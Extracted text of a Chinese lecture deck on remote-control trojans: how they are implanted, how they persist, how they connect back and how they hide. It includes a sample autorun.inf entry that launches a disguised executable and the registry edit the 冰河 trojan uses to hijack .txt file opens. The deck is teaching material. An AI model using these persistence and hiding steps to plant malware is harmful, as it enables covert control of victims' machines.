在,使得攻击者可以利用漏洞远程将木马程序上传并执行。从实现方式上,主要分为:利用系统自身漏洞植入利用第三方软件漏洞植入(3)利用系统自身漏洞植入这是一种主动攻击的方式。攻击者利用所了解的系统的安全漏洞及其特性主动出击。如IIS服务器的溢出漏洞,通过一个“IISHack”的攻击程序就可使IIS服务器崩溃,并同时在被攻击服务器执行“木马”程序。MIME漏洞则是利用InternetExplorer在处理不正常的MIME类型存在的问题,攻击者有意地更改MIME类型,使IE可以不提示用户而直接运行电子邮件附件中的恶意程序等。(4)利用第三方软件漏洞植入每台主机上都会安装一些第三方软件或者提供服务,但是这些软件可能存在可被利用的漏洞,如果被恶意者利用,你的主机就可以成为木马的“栖息地”。例如:AT-TFTPServer在处理带有超长文件名参数的请求时存在漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令。2、被动植入被动植入主要是利用以下方式将木马程序植入目标系统:网页浏览植入利用电子邮件植入利用网络下载植入利用即时通工具植入与其它程序捆绑利用移动存储设备植入(1)网页浏览植入网页浏览传播:利用Script/ActiveX控件/JavaApplet等编写出一个HTML网页,当我们浏览该页面时,会在后台将木马程序下载到计算机缓存中,然后修改系统注册表,使相关键值指向“木马”程序。还可以利用浏览器的已知或者未知的漏洞,把木马下载到本机并运行。水坑攻击(Wateringhole):在受害者必经之路设置一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”(2)水坑攻击2020.2.19:黑客利用后门对香港iOS用户发起水坑攻击(2)水坑攻击威瑞森的报告显示,94%的恶意软件通过电子邮件传播,排名第一的社会工程攻击是网络钓鱼(3)利用电子邮件植入(3)利用电子邮件植入电子邮件(E-mail)进行传播:攻击者将“木马”程序伪装成E-mail附件的形式发送出去,收信人只要查看邮件附件就会使“木马”程序得到运行并安装进入系统。通过在邮件内容内嵌WSH(WindowsScriptsHost)脚本,用户不需要打开附件,仅仅浏览一下邮件的内容,附件中的木马就会被执行。附件文档中不包含恶意代码,而是下载恶意代码的链接例一例二恶意Office文件样本不利用漏洞,也未包含可疑的宏或VBA等操作,而是单纯的利用XML连接外部开启另一个恶意文件例三利用电子邮件植入(4)网络下载植入一些非正规的网站以提供软件下载为名,将木马程序伪装成用户所希望的其它软件,当用户下载安装时,实际上所安装的是木马程序。(5)利用即时通工具植入即时通工具有文件传输功能,所以现在也有很多木马通过它传播。攻击者通常把木马服务器程序通过合并软件和其他的可执行文件绑在一起,然后骗你说是一个好玩的东东或者是漂亮MM的照片,你接受后运行的话,你就成了木马的牺牲品了。(6)与其它程序或文档捆绑将木马与其它软件捆绑,用户在下载安装其它软件时就不自觉地也安装了木马,这种情况下用户很难察觉。攻击者还可以在.doc、.ppt、.rar、.zip、.mpg、.pdf等文件中插入恶意代码,当用户打开这些文档时,就会被植入木马。例:图片木马有一种图片木马,利用用户认为图片文件不可执行,因此不可能是木马这样的心理来欺骗受害者。实际上这是一个后缀名的小把戏。由于Windows系统默认不显示已经注册了的文件类型的后缀名,因此test.jpg.exe这种文件在系统上就显示为test.jpg,木马再采用和图片文件一样的图标,对大多数用户而言,是极具欺骗性的。(7)利用移动存储设备植入利用移动存储设备传播:利用Windows的Autoplay(autorun.inf)机制,当插入U盘、移动硬盘或者光盘时,可以自动执行恶意程序。[AutoRun]open=scvhost.exeshellexecute=scvhost.exeshell\Auto\command=scvhost.exe“摆渡”木马①植入外网主机“摆渡”木马①植入外网主机②植入移动设备“摆渡”木马①植入外网主机②植入移动设备③植入内网主机“摆渡”木马①植入外网主机②植入移动设备③植入内网主机④敏感信息收集“摆渡”木马①植入外网主机②植入移动设备③植入内网主机④敏感信息收集⑤敏感信息转移“摆渡”木马①植入外网主机②植入移动设备③植入内网主机④敏感信息收集⑤敏感信息转移⑥敏感信息泄露2015.12.2夜间:安天监控预警体系感知到如下线索:某知名作家在新浪微博发布消息,曝光有人以发送“采访提纲”为借口,利用微博私信功能,发送恶意代码链接。(8)社会工程学2015.12.2夜间:安天监控预警体系感知到如下线索:某知名作家在新浪微博发布消息,曝光有人以发送“采访提纲”为借口,利用微博私信功能,发送恶意代码链接。(8)社会工程学(8)社会工程学无论是原始微博截图中的头像、微博两条搜索结果显示的图像,还是百度网盘的头像,相似度都非常高,让人真假难辨。(8)社会工程学幸运的是,没有微博名人中招!(8)社会工程学社会工程学(8)社会工程学通过云应用投放恶意代码远程控制木马的运行步骤远程控制木马进行网络入侵的过程:配置木马传播木马启动木马建立连接远程控制自动加载技术木马程序在被植入目标主机后,不可能寄希望于用户双击其图标来运行启动,只能不动声色地自动启动和运行,攻击才能以此为依据侵入被侵主机,完成控制。自动加载技术在Windows系统中木马程序的自动加载技术主要有:修改系统文件修改系统注册表添加系统服务修改文件打开关联属性修改任务计划修改组策略利用系统自动运行的程序修改启动文件夹替换系统DLL(1)修改系统文件木马程序一般会在第一次运行时,修改目标系统文件以达到自动加载的目的在早于WindwosXP版本的系统上,System.ini、Win.ini、Winstart.bat、Autoexec.bat等都是木马所关注的配置文件。这些文件能自动被Windows在启动时加载运行,木马将自身程序加入此类批处理文件,能够达成开机启动的目标。这些文件虽然在后续版本的Windows系统上依然存在,但主要出于兼容早期系统的需要,很难再被木马继续利用(2)修改系统注册表系统注册表保存着系统的软件、硬件及其它与系统配置有关的重要信息。在WinNT系列操作系统上,Windows主要使用注册表存储包括开机启动项目的系统配置,修改注册表隐蔽性相对较高,木马常常采用这种方法实现开机自启动。通常被攻击者用作开机启动的主键(在不同版本的系统中可能存在不同的主键)包括:(2)修改系统注册表系统注册表保存着系统的软件、硬件及其它与系统配置有关的重要信息。HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run、Runonce、RunonceEx(在Win2000、WinXp中有效)、RunServices、RunServicesOnce等HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run、Runonce、RunonceEx、RunServices、RunServicesOnce等HKEY_USERS\[UserSID]\Software\Microsoft\Windows\CurrentVersion\Run、Runonce、RunonceEx、RunServices、RunServicesOnce等在上述主键中,HKEY_LOCAL_MACHINE对当前系统的所有用户有效,HKEY_CURRENT_USER仅对当前登陆的用户有效(2)修改系统注册表系统注册表保存着系统的软件、硬件及其它与系统配置有关的重要信息。HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run、Runonce、RunonceEx(在Win2000、WinXp中有效)、RunServices、RunServicesOnce等HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run、Runonce、RunonceEx、RunServices、RunServicesOnce等HKEY_USERS\[UserSID]\Software\Microsoft\Windows\CurrentVersion\Run、Runonce、RunonceEx、RunServices、RunServicesOnce等在上述主键中,Runonce主键设置的自启动程序将在下一次系统启动时获得自动运行的机会,并在运行后从该主键移除。木马程序如果利用这个主键进行自启动,则木马的运行通常有一个固定的操作,即需要在运行后重新将自身加入到Runonce主键中,确保自己在每次系统启动时均获得运行机会(3)添加系统服务WindowsNT内核操作系统都大量使用服务来实现关键的系统功能。一些木马将自身注册为系统服务,并将相应服务设置为系统开机时自启动。例如,WindowsResourceKit工具包(其中包含的工具可能会根据用户使用的Windows版本而有所不同)中的程序instsrv.exe常常被木马用来创建系统服务,服务的管理和配置可以通过程序sc.exe来实施。这样每当Windows系统启动时,即使没有用户登录,木马也会自动开始工作。作为服务启动的木马往往隐蔽性更强,一般用户很难从服务中找出木马程序(4)修改文件打开关联属性通常对于一些常用的文件如.txt文件,只要双击文件图标就能打开这个文件。这是因为在系统注册表中,已经把这类文件与某个程序关联起来,只要用户双击该类文件,系统就自动启动相关联的程序来打开文件。修改文件打开关联属性是木马程序的常用手段。比如:正常情况下.txt文件的打开方式为notepad.exe文件,而木马可能将这类文件的关联程序修改为木马程序,这样只要打开此类文件,就能在无意中启动木马。案例:冰河木马。例:冰河的自动加载方法
HKEY_CLASSES_ROOT根键中记录的是Windows操作系统中所有数据文件的信息,主要记录不同文件的文件名后缀和与之对应的应用程序。
“冰河”就是通过修改HKEY_CLASSES_ROOT\txtfile\shell\open\command下的键值,将“C:\WINDOWS\NOTEPAD.EXE%1”
改为“C:\WINDOWS\SYSTEM\SYSEXPLR.EXE%1”,这样一旦你双击一个TXT文件,原本应用Notepad打开该文件的,现在却变成启动木马程序了。
不同版本Windows系统的键名有差异!修改文件打开关联不仅仅是TXT文件,其它诸如HTM、ZIP、RAR等都是木马的目标。对付这类木马,只能经常检查HKEY_CLASSES_ROOT\文件类型\shell\open\command主键,查看其键值是否正常。(5)修改任务计划在默认情况下,任务计划程序随Windows一起启动并在后台运行。如果把某个程序添加到计划任务文件夹,并将计划任务设置为“系统启动时”或“登录时”,这样也可以实现程序自启动。Windows10WindowsXP(6)修改组策略在“开始”→“运行”中输入“gpedit.msc"。按回车,打开系统组策略窗口,选择“计算机配置”→“管理模板”→“系统”→“登录”,双击右边的“在用户登录时运行这些程序”项。(6)修改组策略(续)打开其属性对话框,选择“已启用”,再单击“显示”,会弹出“显示内容”对话框,列表中显示的便是藏身于此的自启动程序。如果你也想在这里添加自启动项目,可单击“添加”在出现的“添加项目”对话框中输入可执行文件的完整路径和文件名,“确定”即可。(7)修改启动文件夹当前登陆用户的“启动”文件夹这是许多应用软件自启动的常用位置。当前登陆用户的“启动”文件夹一般在:C:\DocumentsandSettings\<用户名字>\「开始」菜单\程序\启动\对所有用户有效的启动文件夹不管用户用什么身份登录系统,放入该文件夹的快捷方式总是自动启动——这是它与用户专有的启动文件夹的区别所在。该文件夹一般在:C:\DocumentsandSettings\AllUsers\「开始」菜单\程序\启动\(8)利用系统自动运行的程序在Windows系统中,有很多程序是可以自动运行的,如:在对磁盘进行格式化后,总是要运行“磁盘扫描”程序(Scandisk.exe);按下F1键时,系统将运行Winhelp.exe或Hh.exe打开帮助文件;系统启动时,将自动启动系统栏程序SysTray.exe、注册表检查程序scanreg.exe、计划任务程序mstask.exe、输入法程序、电源管理程序等。这为恶意程序提供了机会,通过覆盖相应文件就可获得自动启动的机会,而不必修改系统任何设置。(9)替换系统DLL这种方法通过APIHOOK启动,也称为DLL陷阱技术。通过替换Windows系统中正常的DLL文件(动态链接文件),如kernel32.dll和user32.dll这些随系统一起启动的dll。启动之后,如果是系统正常的调用请求,它就把请求转到原先的DLL进行处理,如果是约定的木马操作,则该DLL文件就实现木马服务器端功能。现代操作系统对此已有防护,已很难实施有些木马需要系统重启后运行或提升权限,如何做到?(10)其它远程控制木马的运行步骤远程控制木马进行网络入侵的过程:配置木马传播木马启动木马建立连接远程控制建立连接木马控制端木马服务端InternetIntranet控制流木马的常规通信方式建立连接A控制端A服务端1037762676266016(1)建立连接前(2)获取服务端IP(3)木马连接建立通过信息反馈或IP扫描获得服务器IP地址木马端口(服务端IP)(控制端IP)服务端口远程控制木马的反弹技术控制端感染木马的主机优点:解决动态IP地址的问题;解决内网地址的问题;绕过防火墙的限制;缺点:容易暴露控制端反弹远程控制木马的运行步骤远程控制木马进行网络入侵的过程:配置木马传播木马启动木马建立连接远程控制远程控制技术木马连接建立后,客户端端口和服务器端口之间将会出现一条通道,客户端程序可由这条通道与服务器上的木马程序取得联系,并对其进行远程控制,主要包括:获取目标机器信息记录用户事件远程操作(1)获取目标机器信息木马的一个主要功能就是窃取被控端计算机的信息,然后再把这些信息通过网络连接传送到控制端。一般来讲,获取目标机器信息的方法就是调用相关的API,通过函数返回值,进行分解和分析有关成分,进而得到相关信息。(2)记录用户事件木马程序为了达到控制目标主机的目的,通常想知道目标主机用户目前在干什么,于是记录用户事件成了木马的又一主要功能。其一是记录被控端计算机的键盘和鼠标事件,形成一个文本文件,然后把该文件发送到控制端,控制端用户通过查看文件的方式了解被控端用户打开了哪些程序,敲了那些键;其二是在被控端抓取当前屏幕,形成一个位图文件,然后把该文件发送到控制端显示,从而通过抓取得屏幕知道目标用户的操作行为。(3)远程操作远程操作重启被控制端计算机,或者强制关闭远程计算机,当被控制计算机重新启动时,木马程序重新获得控制权。木马使用者通过网络控制被控端计算机的鼠标和键盘,也可以通过这种方式启动或停止被控端的应用程序。对远程的文件进行管理,比如共享被控端的硬盘,之后就可以进行任意的文件操作。内容提纲2木马的工作原理3木马的隐藏技术4恶意代码概述1恶意代码检测与防御木马的隐藏技术木马的隐藏技术:启动隐藏木马文件/目录隐藏进程隐藏通信隐藏隐藏自己,使得目标主机加载运行木马程序,而不被用户发现前面介绍的各种木马自动加载技术前面介绍的无文件木马,通过其它软件来触发执行诱骗用户点击运行:如文件类型图标欺骗1、启动隐藏用文档类(doc/docx/txt/jpg等)图标来隐藏可执行文件(exe)来欺骗受害者点击文件类型图标诱骗VisualStudio2013:用C#编写软件时指定EXE文件的自定义图标文件类型图标诱骗Python:指定exe的自定义软件图标文件类型图标诱骗通过某种方式使用户无法发现木马文件和目录隐藏在其它文件中:如无文件木马勾选文件/目录属性中的“隐藏”,文件浏览器不可见(除非开启显示所有文件)2、木马文件/目标隐藏3、进程隐藏隐藏木马进程,使得任务管理器等工具不可见.伪隐藏是指程序的进程仍然存在,只不过是让它消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。3、进程隐藏设置窗口不可见
(从任务栏中隐藏)把木马程序注册为服务
(从进程列表中隐藏)欺骗查看进程的函数
(从进程列表中隐藏)使用可变的高端口
(端口隐藏技术)使用系统服务端口
(端口隐藏技术)替换系统驱动或系统DLL (真隐藏技术)动态嵌入技术(真隐藏技术)(1)设置窗口不可见这是最基本的隐藏方式。如果在Windows的任务栏里出现一个莫名其妙的图标,傻子都会明白是怎么回事。实现任务栏中隐藏,在编程时是很容易实现的。以VB为例,只要把form的Visible属性设置为False,ShowInTaskBar设为False,程序就不会出现在任务栏里了。(2)把木马程序注册为服务进程列表中不显示木马进程:在Windows
9X/NT/2000/xp/2003下,把木马服务端程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为它是一个进程,在任务管理器中就看不到这个程序的进程。这种方法对于WindowsNT/2000/xp/2003等操作系统来说,通过服务管理器,同样会发现在系统中注册过的服务。(3)欺骗查看进程的函数Windows系统中,一般是通过API调用来查看运行的进程,常用的API包括PSAPI,PDH,ToolHelpAPI等。进程查看软件API调用结果返回替换API调用返回的数据,保护木马进程不被发现。(4)替换系统驱动或系统DLLDLL(DynamicLinkLibrary,动态链接库)是Windows系统的一种可执行文件。DLL文件没有程序逻辑,是由多个功能函数构成的,它并不能独立运行,需要由程序加载并调用。正因为DLL文件不能独立运行,所以在进程列表中并不会出现DLL。运行DLL文件的最简单方法是Rundll32.exe例如我们编写了一个MyDll.dll,这个动态链接库中定义了一个MyFunc的函数,可以通过命令执行MyFunc函数的功能:Rundll32MyDll.dllMyFunc(4)替换系统驱动或系统DLL攻击者使用自己的DLL文件替换掉Windows系统中正常的DLL文件。这种方法利用了Windows系统的驱动或DLL,既可以启动木马,也可以隐藏木马。不使用进程,属于真隐藏技术。DLL木马通过别的进程来运行它,如果这个进程是可信进程,就没有人会怀疑它是木马,那么这个DLL木马作为可信进程的一部分,就成为了被信赖的一部分而为所欲为(4)替换系统驱动或系统DLL这种方法与一般方法不同,它基本上摆脱了原有的木马模式---监听端口,而采用替代系统功能的方法(改写虚拟设备驱动程序vxd或动态链接库DLL文件),木马会将修改后的DLL替换系统已知的DLL,并对所有的函数调用进行过滤。(4)替换系统驱动或系统DLL攻击者的DLL文件一般包括有函数转发器。在处理函数调用时,对于系统正常的调用请求,它就把请求直接转发给被替换的系统DLL进行处理;如果是约定的相应操作(事先约定好的特殊情况),则按照约定完成所请求的功能。这样做的好处是没有增加新的文件,不需要打开新的端口,没有新的进程,使用常规的方法监测不到
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026 学龄前自闭症公共场所规则课件
- Web安全防护要点
- 软件架构设计实践介绍
- 重庆西南大学附中高2026届高考全真模拟试题历史+答案
- 2025年个人税收递延养老险
- 委托代理采购协议书
- 译林版英语五年级下册Unit 5 Helping our parents第四课时
- 烧伤科护理不良事件分析报告
- 施工安全技术管理制度
- 2026年速冻食品生产安全操作规程及注意事项
- 输油管道初步设计-本科毕业论文
- 突发环境事件应急预案评审会汇报课件-(模板)
- JTS-T-116-2019水运建设工程概算预算编制规定
- 《公路桥涵养护规范》(JTG5120-2021)
- 饲料质量培训课件
- 我的家乡湖南长沙宣传简介
- 高考英语高频词组+短语+固定搭配
- 王慧文清华大学《互联网产品管理课》
- 3206回撤作业规程
- 循证医学课件:临床实践指南的评价与应用
- (4.3.1)-4.3平面问题三角形单元刚度矩阵
评论
0/150
提交评论